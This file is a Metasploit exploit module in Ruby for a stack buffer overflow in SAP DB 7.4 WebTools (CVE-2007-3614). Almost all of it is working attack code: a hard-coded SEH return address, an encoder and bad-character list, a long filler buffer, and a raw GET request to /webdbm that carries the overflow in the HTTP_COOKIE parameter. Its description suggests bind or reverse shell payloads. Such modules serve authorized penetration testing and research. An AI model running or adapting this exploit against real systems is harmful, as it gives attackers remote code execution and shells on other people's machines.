metasploit-framework/modules/exploits/windows/http/sapdb_webtools.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in SAP DB 7.4 WebTools.
					By sending an overly long GET request, it may be possible for 
					an attacker to execute arbitrary code. Using the PAYLOAD of 
					windows/shell_bind_tcp or windows/shell_reverse_tcp allows 
					for the most reliable results.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2007-3614' ],
					[ 'OSVDB', '37838' ],
					[ 'BID', '24773' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 850,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0	
				],
			'DisclosureDate' => 'July 5 2007',
			'DefaultTarget'  => 0))

			register_options( [ Opt::RPORT(9999) ], self.class )
	end

	def exploit
		c = connect
		
		filler = rand_text_alphanumeric(20774)
		seh = generate_seh_payload(target.ret)
		# pretty big...
		sploit = filler + seh + rand_text_alphanumeric(3000)

		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
	
		res = send_request_raw({
			'uri'   => '/webdbm',
			'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
		}, 5)
		
		handler
	end

end